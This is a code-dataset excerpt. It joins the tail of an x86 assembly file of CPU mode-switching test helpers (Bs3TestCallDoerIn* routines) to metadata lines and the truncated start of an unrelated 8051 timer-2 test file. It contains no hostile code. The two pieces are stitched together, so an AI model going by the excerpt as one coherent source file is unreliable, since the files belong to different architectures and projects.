; @uses rax BS3_PROC_BEGIN_MODE Bs3TestCallDoerInPE16, BS3_PBC_NEAR BS3_LEA_MOV_WRT_RIP(xAX, MY_TEXT16_WRT(.doit)) jmp TMPL_NM(bs3TestCallDoerPrologue) MY_BEGIN_TEXT16 BS3_SET_BITS TMPL_BITS BS3_GLOBAL_LOCAL_LABEL .doit mov ax, [xBP + xCB + cbCurRetAddr] ; Load far function pointer. mov dx, [xBP + xCB + cbCurRetAddr + 2] ; Mode switch, make the call, switch back. STRICT_SAVE_REGS %if TMPL_MODE == BS3_MODE_RM call far TMPL_FAR_NM(Bs3SwitchToPE16) %else call TMPL_NM(Bs3SwitchToPE16) %endif BS3_SET_BITS 16 STRICT_CHECK_REGS push BS3_MODE_PE16 push cs push .return push dx push ax retf .return: STRICT_SAVE_REGS %if TMPL_MODE == BS3_MODE_RM call far RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_pe16_far) %else call RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_Safe_pe16) %endif BS3_SET_BITS TMPL_BITS jmp TMPL_NM(bs3TestCallDoerEpilogue) MY_BEGIN_TEXT BS3_PROC_END_MODE Bs3TestCallDoerInPE16 ;; ; @cproto BS3_DECL(uint8_t) Bs3TestCallDoerInPE16_32(uint32_t FlatWorkerAddr, uint8_t bMode); ; @uses rax BS3_PROC_BEGIN_MODE Bs3TestCallDoerInPE16_32, BS3_PBC_NEAR BS3_LEA_MOV_WRT_RIP(xAX, MY_TEXT16_WRT(.doit)) jmp TMPL_NM(bs3TestCallDoerPrologue) .doit: mov eax, [xBP + xCB + cbCurRetAddr] ; Load function pointer. movzx edx, byte [xBP + xCB + cbCurRetAddr + sCB] ; bMode ; Mode switch, make the call, switch back. STRICT_SAVE_REGS %if TMPL_MODE == BS3_MODE_RM call far TMPL_FAR_NM(Bs3SwitchToPE16_32) %else call TMPL_NM(Bs3SwitchToPE16_32) %endif BS3_SET_BITS 32 STRICT_CHECK_REGS push edx ; bMode call eax STRICT_SAVE_REGS call RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_Safe_pe16_32) BS3_SET_BITS TMPL_BITS STRICT_CHECK_REGS jmp TMPL_NM(bs3TestCallDoerEpilogue) BS3_PROC_END_MODE Bs3TestCallDoerInPE16_32 ;; ; @cproto BS3_DECL(uint8_t) Bs3TestCallDoerInPE16_V86(uint16_t offBs3Text16); ; @uses rax BS3_PROC_BEGIN_MODE Bs3TestCallDoerInPE16_V86, BS3_PBC_NEAR BS3_LEA_MOV_WRT_RIP(xAX, MY_TEXT16_WRT(.doit)) jmp TMPL_NM(bs3TestCallDoerPrologue) MY_BEGIN_TEXT16 BS3_SET_BITS TMPL_BITS BS3_GLOBAL_LOCAL_LABEL .doit mov ax, [xBP + xCB + cbCurRetAddr] ; Load far function pointer. mov dx, [xBP + xCB + cbCurRetAddr + 2] ; Mode switch, make the call, switch back. STRICT_SAVE_REGS %if TMPL_MODE == BS3_MODE_RM call far TMPL_FAR_NM(Bs3SwitchToPE16_V86) %else call TMPL_NM(Bs3SwitchToPE16_V86) %endif BS3_SET_BITS 16 STRICT_CHECK_REGS push BS3_MODE_PE16_V86 push cs push .return push dx push ax retf .return: STRICT_SAVE_REGS %if TMPL_MODE == BS3_MODE_RM call far RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_pe16_v86_far) %else call RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_Safe_pe16_v86) %endif BS3_SET_BITS TMPL_BITS STRICT_CHECK_REGS jmp TMPL_NM(bs3TestCallDoerEpilogue) MY_BEGIN_TEXT BS3_PROC_END_MODE Bs3TestCallDoerInPE16_V86 ;; ; @cproto BS3_DECL(uint8_t) Bs3TestCallDoerInPE32(uint32_t FlatWorkerAddr, uint8_t bMode); ; @uses rax BS3_PROC_BEGIN_MODE Bs3TestCallDoerInPE32, BS3_PBC_NEAR BS3_LEA_MOV_WRT_RIP(xAX, MY_TEXT16_WRT(.doit)) jmp TMPL_NM(bs3TestCallDoerPrologue) .doit: mov eax, [xBP + xCB + cbCurRetAddr] ; Load function pointer. movzx edx, byte [xBP + xCB + cbCurRetAddr + sCB] ; bMode ; Mode switch, make the call, switch back. STRICT_SAVE_REGS %if TMPL_MODE == BS3_MODE_RM call far TMPL_FAR_NM(Bs3SwitchToPE32) %else call TMPL_NM(Bs3SwitchToPE32) %endif BS3_SET_BITS 32 STRICT_CHECK_REGS push edx ; bMode call eax STRICT_SAVE_REGS call RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_Safe_pe32) BS3_SET_BITS TMPL_BITS STRICT_CHECK_REGS jmp TMPL_NM(bs3TestCallDoerEpilogue) BS3_PROC_END_MODE Bs3TestCallDoerInPE32 ;; ; @cproto BS3_DECL(uint8_t) Bs3TestCallDoerInPE32_16(uint16_t offBs3Text16); ; @uses rax BS3_PROC_BEGIN_MODE Bs3TestCallDoerInPE32_16, BS3_PBC_NEAR BS3_LEA_MOV_WRT_RIP(xAX, MY_TEXT16_WRT(.doit)) jmp TMPL_NM(bs3TestCallDoerPrologue) MY_BEGIN_TEXT16 BS3_SET_BITS TMPL_BITS BS3_GLOBAL_LOCAL_LABEL .doit mov ax, [xBP + xCB + cbCurRetAddr] ; Load far function pointer. mov dx, [xBP + xCB + cbCurRetAddr + 2] ; Mode switch, make the call, switch back. STRICT_SAVE_REGS %if TMPL_MODE == BS3_MODE_RM call far TMPL_FAR_NM(Bs3SwitchToPE32_16) %else call TMPL_NM(Bs3SwitchToPE32_16) %endif BS3_SET_BITS 16 STRICT_CHECK_REGS push BS3_MODE_PE32_16 push cs push .return push dx push ax retf .return: STRICT_SAVE_REGS %if TMPL_MODE == BS3_MODE_RM call far RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_pe32_16_far) %else call RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_Safe_pe32_16) %endif BS3_SET_BITS TMPL_BITS STRICT_CHECK_REGS jmp TMPL_NM(bs3TestCallDoerEpilogue) MY_BEGIN_TEXT BS3_PROC_END_MODE Bs3TestCallDoerInPE32_16 ;; ; @cproto BS3_DECL(uint8_t) Bs3TestCallDoerInPEV86(uint16_t offBs3Text16); ; @uses rax BS3_PROC_BEGIN_MODE Bs3TestCallDoerInPEV86, BS3_PBC_NEAR BS3_LEA_MOV_WRT_RIP(xAX, MY_TEXT16_WRT(.doit)) jmp TMPL_NM(bs3TestCallDoerPrologue) MY_BEGIN_TEXT16 BS3_SET_BITS TMPL_BITS BS3_GLOBAL_LOCAL_LABEL .doit mov ax, [xBP + xCB + cbCurRetAddr] ; Load far function pointer. mov dx, [xBP + xCB + cbCurRetAddr + 2] ; Mode switch, make the call, switch back. STRICT_SAVE_REGS %if TMPL_MODE == BS3_MODE_RM call far TMPL_FAR_NM(Bs3SwitchToPEV86) %else call TMPL_NM(Bs3SwitchToPEV86) %endif BS3_SET_BITS 16 STRICT_CHECK_REGS push BS3_MODE_PEV86 push cs push .return push dx push ax retf .return: STRICT_SAVE_REGS %if TMPL_MODE == BS3_MODE_RM call far RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_pev86_far) %else call RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_Safe_pev86) %endif BS3_SET_BITS TMPL_BITS STRICT_CHECK_REGS jmp TMPL_NM(bs3TestCallDoerEpilogue) MY_BEGIN_TEXT BS3_PROC_END_MODE Bs3TestCallDoerInPEV86 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; Page protection mode. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; ; @cproto BS3_DECL(uint8_t) Bs3TestCallDoerInPP16(uint16_t offBs3Text16); ; @uses rax BS3_PROC_BEGIN_MODE Bs3TestCallDoerInPP16, BS3_PBC_NEAR BS3_LEA_MOV_WRT_RIP(xAX, MY_TEXT16_WRT(.doit)) jmp TMPL_NM(bs3TestCallDoerPrologue) MY_BEGIN_TEXT16 BS3_SET_BITS TMPL_BITS BS3_GLOBAL_LOCAL_LABEL .doit mov ax, [xBP + xCB + cbCurRetAddr] ; Load far function pointer. mov dx, [xBP + xCB + cbCurRetAddr + 2] ; Mode switch, make the call, switch back. STRICT_SAVE_REGS %if TMPL_MODE == BS3_MODE_RM call far TMPL_FAR_NM(Bs3SwitchToPP16) %else call TMPL_NM(Bs3SwitchToPP16) %endif BS3_SET_BITS 16 STRICT_CHECK_REGS push BS3_MODE_PP16 push cs push .return push dx push ax retf .return: STRICT_SAVE_REGS %if TMPL_MODE == BS3_MODE_RM call far RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_pp16_far) %else call RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_Safe_pp16) %endif BS3_SET_BITS TMPL_BITS STRICT_CHECK_REGS jmp TMPL_NM(bs3TestCallDoerEpilogue) MY_BEGIN_TEXT BS3_PROC_END_MODE Bs3TestCallDoerInPP16 ;; ; @cproto BS3_DECL(uint8_t) Bs3TestCallDoerInPP16_32(uint32_t uFlatWorkerAddr, uint8_t bMode); ; @uses rax BS3_PROC_BEGIN_MODE Bs3TestCallDoerInPP16_32, BS3_PBC_NEAR BS3_LEA_MOV_WRT_RIP(xAX, MY_TEXT16_WRT(.doit)) jmp TMPL_NM(bs3TestCallDoerPrologue) .doit: mov eax, [xBP + xCB + cbCurRetAddr] ; Load function pointer. movzx edx, byte [xBP + xCB + cbCurRetAddr + sCB] ; bMode ; Mode switch, make the call, switch back. STRICT_SAVE_REGS %if TMPL_MODE == BS3_MODE_RM call far TMPL_FAR_NM(Bs3SwitchToPP16_32) %else call TMPL_NM(Bs3SwitchToPP16_32) %endif BS3_SET_BITS 32 STRICT_CHECK_REGS push edx call eax STRICT_SAVE_REGS call RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_Safe_pp16_32) BS3_SET_BITS TMPL_BITS STRICT_CHECK_REGS jmp TMPL_NM(bs3TestCallDoerEpilogue) BS3_PROC_END_MODE Bs3TestCallDoerInPP16_32 ;; ; @cproto BS3_DECL(uint8_t) Bs3TestCallDoerInPP16_V86(uint16_t offBs3Text16); ; @uses rax BS3_PROC_BEGIN_MODE Bs3TestCallDoerInPP16_V86, BS3_PBC_NEAR BS3_LEA_MOV_WRT_RIP(xAX, MY_TEXT16_WRT(.doit)) jmp TMPL_NM(bs3TestCallDoerPrologue) MY_BEGIN_TEXT16 BS3_SET_BITS TMPL_BITS BS3_GLOBAL_LOCAL_LABEL .doit mov ax, [xBP + xCB + cbCurRetAddr] ; Load far function pointer. mov dx, [xBP + xCB + cbCurRetAddr + 2] ; Mode switch, make the call, switch back. STRICT_SAVE_REGS %if TMPL_MODE == BS3_MODE_RM call far TMPL_FAR_NM(Bs3SwitchToPP16_V86) %else call TMPL_NM(Bs3SwitchToPP16_V86) %endif BS3_SET_BITS 16 STRICT_CHECK_REGS push BS3_MODE_PP16_V86 push cs push .return push dx push ax retf .return: STRICT_SAVE_REGS %if TMPL_MODE == BS3_MODE_RM call far RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_pp16_v86_far) %else call RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_Safe_pp16_v86) %endif BS3_SET_BITS TMPL_BITS STRICT_CHECK_REGS jmp TMPL_NM(bs3TestCallDoerEpilogue) MY_BEGIN_TEXT BS3_PROC_END_MODE Bs3TestCallDoerInPP16_V86 ;; ; @cproto BS3_DECL(uint8_t) Bs3TestCallDoerInPP32(uint32_t uFlatWorkerAddr, uint8_t bMode); ; @uses rax BS3_PROC_BEGIN_MODE Bs3TestCallDoerInPP32, BS3_PBC_NEAR BS3_LEA_MOV_WRT_RIP(xAX, MY_TEXT16_WRT(.doit)) jmp TMPL_NM(bs3TestCallDoerPrologue) .doit: mov eax, [xBP + xCB + cbCurRetAddr] ; Load function pointer. movzx edx, byte [xBP + xCB + cbCurRetAddr + sCB] ; bMode ; Mode switch, make the call, switch back. STRICT_SAVE_REGS %if TMPL_MODE == BS3_MODE_RM call far TMPL_FAR_NM(Bs3SwitchToPP32) %else call TMPL_NM(Bs3SwitchToPP32) %endif BS3_SET_BITS 32 STRICT_CHECK_REGS push edx ; bMode call eax STRICT_SAVE_REGS call RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_Safe_pp32) BS3_SET_BITS TMPL_BITS STRICT_CHECK_REGS jmp TMPL_NM(bs3TestCallDoerEpilogue) BS3_PROC_END_MODE Bs3TestCallDoerInPP32 ;; ; @cproto BS3_DECL(uint8_t) Bs3TestCallDoerInPP32_16(uint16_t offBs3Text16); ; @uses rax BS3_PROC_BEGIN_MODE Bs3TestCallDoerInPP32_16, BS3_PBC_NEAR BS3_LEA_MOV_WRT_RIP(xAX, MY_TEXT16_WRT(.doit)) jmp TMPL_NM(bs3TestCallDoerPrologue) MY_BEGIN_TEXT16 BS3_SET_BITS TMPL_BITS BS3_GLOBAL_LOCAL_LABEL .doit mov ax, [xBP + xCB + cbCurRetAddr] ; Load far function pointer. mov dx, [xBP + xCB + cbCurRetAddr + 2] ; Mode switch, make the call, switch back. STRICT_SAVE_REGS %if TMPL_MODE == BS3_MODE_RM call far TMPL_FAR_NM(Bs3SwitchToPP32_16) %else call TMPL_NM(Bs3SwitchToPP32_16) %endif BS3_SET_BITS 16 STRICT_CHECK_REGS push BS3_MODE_PP32_16 push cs push .return push dx push ax retf .return: STRICT_SAVE_REGS %if TMPL_MODE == BS3_MODE_RM call far RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_pp32_16_far) %else call RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_Safe_pp32_16) %endif BS3_SET_BITS TMPL_BITS STRICT_CHECK_REGS jmp TMPL_NM(bs3TestCallDoerEpilogue) MY_BEGIN_TEXT BS3_PROC_END_MODE Bs3TestCallDoerInPP32_16 ;; ; @cproto BS3_DECL(uint8_t) Bs3TestCallDoerInPPV86(uint16_t offBs3Text16); ; @uses rax BS3_PROC_BEGIN_MODE Bs3TestCallDoerInPPV86, BS3_PBC_NEAR BS3_LEA_MOV_WRT_RIP(xAX, MY_TEXT16_WRT(.doit)) jmp TMPL_NM(bs3TestCallDoerPrologue) MY_BEGIN_TEXT16 BS3_SET_BITS TMPL_BITS BS3_GLOBAL_LOCAL_LABEL .doit mov ax, [xBP + xCB + cbCurRetAddr] ; Load far function pointer. mov dx, [xBP + xCB + cbCurRetAddr + 2] ; Mode switch, make the call, switch back. STRICT_SAVE_REGS %if TMPL_MODE == BS3_MODE_RM call far TMPL_FAR_NM(Bs3SwitchToPPV86) %else call TMPL_NM(Bs3SwitchToPPV86) %endif BS3_SET_BITS 16 STRICT_CHECK_REGS push BS3_MODE_PPV86 push cs push .return push dx push ax retf .return: STRICT_SAVE_REGS %if TMPL_MODE == BS3_MODE_RM call far RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_ppv86_far) %else call RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_Safe_ppv86) %endif BS3_SET_BITS TMPL_BITS STRICT_CHECK_REGS jmp TMPL_NM(bs3TestCallDoerEpilogue) MY_BEGIN_TEXT BS3_PROC_END_MODE Bs3TestCallDoerInPPV86 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; PAE paged protection mode. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; ; @cproto BS3_DECL(uint8_t) Bs3TestCallDoerInPAE16(uint16_t offBs3Text16); ; @uses rax BS3_PROC_BEGIN_MODE Bs3TestCallDoerInPAE16, BS3_PBC_NEAR BS3_LEA_MOV_WRT_RIP(xAX, MY_TEXT16_WRT(.doit)) jmp TMPL_NM(bs3TestCallDoerPrologue) MY_BEGIN_TEXT16 BS3_SET_BITS TMPL_BITS BS3_GLOBAL_LOCAL_LABEL .doit mov ax, [xBP + xCB + cbCurRetAddr] ; Load far function pointer. mov dx, [xBP + xCB + cbCurRetAddr + 2] ; Mode switch, make the call, switch back. STRICT_SAVE_REGS %if TMPL_MODE == BS3_MODE_RM call far TMPL_FAR_NM(Bs3SwitchToPAE16) %else call TMPL_NM(Bs3SwitchToPAE16) %endif BS3_SET_BITS 16 STRICT_CHECK_REGS push BS3_MODE_PAE16 push cs push .return push dx push ax retf .return: STRICT_SAVE_REGS %if TMPL_MODE == BS3_MODE_RM call far RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_pae16_far) %else call RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_Safe_pae16) %endif BS3_SET_BITS TMPL_BITS STRICT_CHECK_REGS jmp TMPL_NM(bs3TestCallDoerEpilogue) MY_BEGIN_TEXT BS3_PROC_END_MODE Bs3TestCallDoerInPAE16 ;; ; @cproto BS3_DECL(uint8_t) Bs3TestCallDoerInPAE16_32(uint32_t uFlatWorkerAddr, uint8_t bMode); ; @uses rax BS3_PROC_BEGIN_MODE Bs3TestCallDoerInPAE16_32, BS3_PBC_NEAR BS3_LEA_MOV_WRT_RIP(xAX, MY_TEXT16_WRT(.doit)) jmp TMPL_NM(bs3TestCallDoerPrologue) .doit: mov eax, [xBP + xCB + cbCurRetAddr] ; Load function pointer. movzx edx, byte [xBP + xCB + cbCurRetAddr + sCB] ; bMode ; Mode switch, make the call, switch back. STRICT_SAVE_REGS %if TMPL_MODE == BS3_MODE_RM call far TMPL_FAR_NM(Bs3SwitchToPAE16_32) %else call TMPL_NM(Bs3SwitchToPAE16_32) %endif BS3_SET_BITS 32 STRICT_CHECK_REGS push edx ; bMode call eax STRICT_SAVE_REGS call RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_Safe_pae16_32) BS3_SET_BITS TMPL_BITS STRICT_CHECK_REGS jmp TMPL_NM(bs3TestCallDoerEpilogue) BS3_PROC_END_MODE Bs3TestCallDoerInPAE16_32 ;; ; @cproto BS3_DECL(uint8_t) Bs3TestCallDoerInPAE16_V86(uint16_t offBs3Text16); ; @uses rax BS3_PROC_BEGIN_MODE Bs3TestCallDoerInPAE16_V86, BS3_PBC_NEAR BS3_LEA_MOV_WRT_RIP(xAX, MY_TEXT16_WRT(.doit)) jmp TMPL_NM(bs3TestCallDoerPrologue) MY_BEGIN_TEXT16 BS3_SET_BITS TMPL_BITS BS3_GLOBAL_LOCAL_LABEL .doit mov ax, [xBP + xCB + cbCurRetAddr] ; Load far function pointer. mov dx, [xBP + xCB + cbCurRetAddr + 2] ; Mode switch, make the call, switch back. STRICT_SAVE_REGS %if TMPL_MODE == BS3_MODE_RM call far TMPL_FAR_NM(Bs3SwitchToPAE16_V86) %else call TMPL_NM(Bs3SwitchToPAE16_V86) %endif BS3_SET_BITS 16 STRICT_CHECK_REGS push BS3_MODE_PAE16_V86 push cs push .return push dx push ax retf .return: STRICT_SAVE_REGS %if TMPL_MODE == BS3_MODE_RM call far RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_pae16_v86_far) %else call RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_Safe_pae16_v86) %endif BS3_SET_BITS TMPL_BITS STRICT_CHECK_REGS jmp TMPL_NM(bs3TestCallDoerEpilogue) MY_BEGIN_TEXT BS3_PROC_END_MODE Bs3TestCallDoerInPAE16_V86 ;; ; @cproto BS3_DECL(uint8_t) Bs3TestCallDoerInPAE32(uint32_t uFlatWorkerAddr, uint8_t bMode); ; @uses rax BS3_PROC_BEGIN_MODE Bs3TestCallDoerInPAE32, BS3_PBC_NEAR BS3_LEA_MOV_WRT_RIP(xAX, MY_TEXT16_WRT(.doit)) jmp TMPL_NM(bs3TestCallDoerPrologue) .doit: mov eax, [xBP + xCB + cbCurRetAddr] ; Load function pointer. movzx edx, byte [xBP + xCB + cbCurRetAddr + sCB] ; bMode ; Mode switch, make the call, switch back. STRICT_SAVE_REGS %if TMPL_MODE == BS3_MODE_RM call far TMPL_FAR_NM(Bs3SwitchToPAE32) %else call TMPL_NM(Bs3SwitchToPAE32) %endif BS3_SET_BITS 32 STRICT_CHECK_REGS push edx ; bMode call eax STRICT_SAVE_REGS call RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_Safe_pae32) BS3_SET_BITS TMPL_BITS STRICT_CHECK_REGS jmp TMPL_NM(bs3TestCallDoerEpilogue) BS3_PROC_END_MODE Bs3TestCallDoerInPAE32 ;; ; @cproto BS3_DECL(uint8_t) Bs3TestCallDoerInPAE32_16(uint16_t offBs3Text16); ; @uses rax BS3_PROC_BEGIN_MODE Bs3TestCallDoerInPAE32_16, BS3_PBC_NEAR BS3_LEA_MOV_WRT_RIP(xAX, MY_TEXT16_WRT(.doit)) jmp TMPL_NM(bs3TestCallDoerPrologue) MY_BEGIN_TEXT16 BS3_SET_BITS TMPL_BITS BS3_GLOBAL_LOCAL_LABEL .doit mov ax, [xBP + xCB + cbCurRetAddr] ; Load far function pointer. mov dx, [xBP + xCB + cbCurRetAddr + 2] ; Mode switch, make the call, switch back. STRICT_SAVE_REGS %if TMPL_MODE == BS3_MODE_RM call far TMPL_FAR_NM(Bs3SwitchToPAE32_16) %else call TMPL_NM(Bs3SwitchToPAE32_16) %endif BS3_SET_BITS 16 STRICT_CHECK_REGS push BS3_MODE_PAE32_16 push cs push .return push dx push ax retf .return: STRICT_SAVE_REGS %if TMPL_MODE == BS3_MODE_RM call far RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_pae32_16_far) %else call RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_Safe_pae32_16) %endif BS3_SET_BITS TMPL_BITS STRICT_CHECK_REGS jmp TMPL_NM(bs3TestCallDoerEpilogue) MY_BEGIN_TEXT BS3_PROC_END_MODE Bs3TestCallDoerInPAE32_16 ;; ; @cproto BS3_DECL(uint8_t) Bs3TestCallDoerInPAEV86(uint16_t offBs3Text16); ; @uses rax BS3_PROC_BEGIN_MODE Bs3TestCallDoerInPAEV86, BS3_PBC_NEAR BS3_LEA_MOV_WRT_RIP(xAX, MY_TEXT16_WRT(.doit)) jmp TMPL_NM(bs3TestCallDoerPrologue) MY_BEGIN_TEXT16 BS3_SET_BITS TMPL_BITS BS3_GLOBAL_LOCAL_LABEL .doit mov ax, [xBP + xCB + cbCurRetAddr] ; Load far function pointer. mov dx, [xBP + xCB + cbCurRetAddr + 2] ; Mode switch, make the call, switch back. STRICT_SAVE_REGS %if TMPL_MODE == BS3_MODE_RM call far TMPL_FAR_NM(Bs3SwitchToPAEV86) %else call TMPL_NM(Bs3SwitchToPAEV86) %endif BS3_SET_BITS 16 STRICT_CHECK_REGS push BS3_MODE_PAEV86 push cs push .return push dx push ax retf .return: STRICT_SAVE_REGS %if TMPL_MODE == BS3_MODE_RM call far RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_paev86_far) %else call RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_Safe_paev86) %endif BS3_SET_BITS TMPL_BITS STRICT_CHECK_REGS jmp TMPL_NM(bs3TestCallDoerEpilogue) MY_BEGIN_TEXT BS3_PROC_END_MODE Bs3TestCallDoerInPAEV86 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; Long mode ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; ; @cproto BS3_DECL(uint8_t) Bs3TestCallDoerInLM16(uint16_t offBs3Text16); ; @uses rax BS3_PROC_BEGIN_MODE Bs3TestCallDoerInLM16, BS3_PBC_NEAR BS3_LEA_MOV_WRT_RIP(xAX, MY_TEXT16_WRT(.doit)) jmp TMPL_NM(bs3TestCallDoerPrologue) MY_BEGIN_TEXT16 BS3_SET_BITS TMPL_BITS BS3_GLOBAL_LOCAL_LABEL .doit mov ax, [xBP + xCB + cbCurRetAddr] ; Load far function pointer. mov dx, [xBP + xCB + cbCurRetAddr + 2] ; Mode switch, make the call, switch back. STRICT_SAVE_REGS %if TMPL_MODE == BS3_MODE_RM call far TMPL_FAR_NM(Bs3SwitchToLM16) %else call TMPL_NM(Bs3SwitchToLM16) %endif BS3_SET_BITS 16 STRICT_CHECK_REGS push BS3_MODE_LM16 push cs push .return push dx push ax retf .return: STRICT_SAVE_REGS %if TMPL_MODE == BS3_MODE_RM call far RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_lm16_far) %else call RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_Safe_lm16) %endif BS3_SET_BITS TMPL_BITS STRICT_CHECK_REGS jmp TMPL_NM(bs3TestCallDoerEpilogue) MY_BEGIN_TEXT BS3_PROC_END_MODE Bs3TestCallDoerInLM16 ;; ; @cproto BS3_DECL(uint8_t) Bs3TestCallDoerInLM32(uint16_t offBs3Text16); ; @uses rax BS3_PROC_BEGIN_MODE Bs3TestCallDoerInLM32, BS3_PBC_NEAR BS3_LEA_MOV_WRT_RIP(xAX, MY_TEXT16_WRT(.doit)) jmp TMPL_NM(bs3TestCallDoerPrologue) .doit: mov eax, [xBP + xCB + cbCurRetAddr] ; Load function pointer. ; Mode switch, make the call, switch back. STRICT_SAVE_REGS %if TMPL_MODE == BS3_MODE_RM call far TMPL_FAR_NM(Bs3SwitchToLM32) %else call TMPL_NM(Bs3SwitchToLM32) %endif BS3_SET_BITS 32 STRICT_CHECK_REGS and esp, ~03h push BS3_MODE_LM32 call eax STRICT_SAVE_REGS call RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_Safe_lm32) BS3_SET_BITS TMPL_BITS STRICT_CHECK_REGS jmp TMPL_NM(bs3TestCallDoerEpilogue) BS3_PROC_END_MODE Bs3TestCallDoerInLM32 ;; ; @cproto BS3_DECL(uint8_t) Bs3TestCallDoerInLM64(uint32_t uFlatWorkerAddr, uint8_t bMode); ; @uses rax BS3_PROC_BEGIN_MODE Bs3TestCallDoerInLM64, BS3_PBC_NEAR BS3_LEA_MOV_WRT_RIP(xAX, MY_TEXT16_WRT(.doit)) jmp TMPL_NM(bs3TestCallDoerPrologue) .doit: mov eax, [xBP + xCB + cbCurRetAddr] ; Load function pointer. movzx edx, byte [xBP + xCB + cbCurRetAddr + sCB] ; bMode ; Mode switch, make the call, switch back. STRICT_SAVE_REGS %if TMPL_MODE == BS3_MODE_RM call far TMPL_FAR_NM(Bs3SwitchToLM64) %else call TMPL_NM(Bs3SwitchToLM64) %endif BS3_SET_BITS 64 STRICT_CHECK_REGS and rsp, ~0fh sub rsp, 18h push rdx ; bMode BS3_CALL rax, 1 STRICT_SAVE_REGS call RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_Safe_lm64) BS3_SET_BITS TMPL_BITS STRICT_CHECK_REGS jmp TMPL_NM(bs3TestCallDoerEpilogue) BS3_PROC_END_MODE Bs3TestCallDoerInLM64
32.236283
130
0.642545
e8eef8410948bf616fdef6e238d16fe8a098f7e4
11,452
asm
Assembly
samples/03_8051/original/asm/timer2_test.asm
kubasz/verinject
ab9dd56d9388d02b20ff355bf80ea6327ec009fb
[ "Apache-2.0" ]
null
null
null
samples/03_8051/original/asm/timer2_test.asm
kubasz/verinject
ab9dd56d9388d02b20ff355bf80ea6327ec009fb
[ "Apache-2.0" ]
null
null
null
samples/03_8051/original/asm/timer2_test.asm
kubasz/verinject
ab9dd56d9388d02b20ff355bf80ea6327ec009fb
[ "Apache-2.0" ]
null
null
null
; b: error code ; r3: timer high expected value ; r4: timer low expected value t2con EQU 0c8h; rcap2l EQU 0cah; rcap2h EQU 0cbh; tl2 EQU 0cch; th2 EQU 0cdh; tr2 EQU 0cah; exen2 EQU 0cbh; exf2 EQU 0ceh; tf2 EQU 0cfh; ajmp start; org 03h ; external interrupt 0 reti; org 0bh ; t/c 0 interrupt reti; org 13h ; external interrupt 1 reti; org 1bh ; t/c 1 interrupt reti; org 23h ; serial interface interrupt reti; org 2bh; t/c 2 interrupt reti; test2: mov a, th2 ; subb a, r3 ; jnz error ; mov a,tl2 ; subb a, r4 ; jnz error ; ret; error: mov p1, b; nop; ajmp error; wait: dec a ; 1 nop ; 1 nop ; 1 nop ; 1 nop ; 1 nop ; 1 nop ; 1 nop ; 1 jnz wait ; 4 nop; ; nop; nop; ret ; 4 start: clr a; mov r0, a; mov r1, a; mov ie, #00h ;disable interrupts clr c; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; timer 2 test ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; 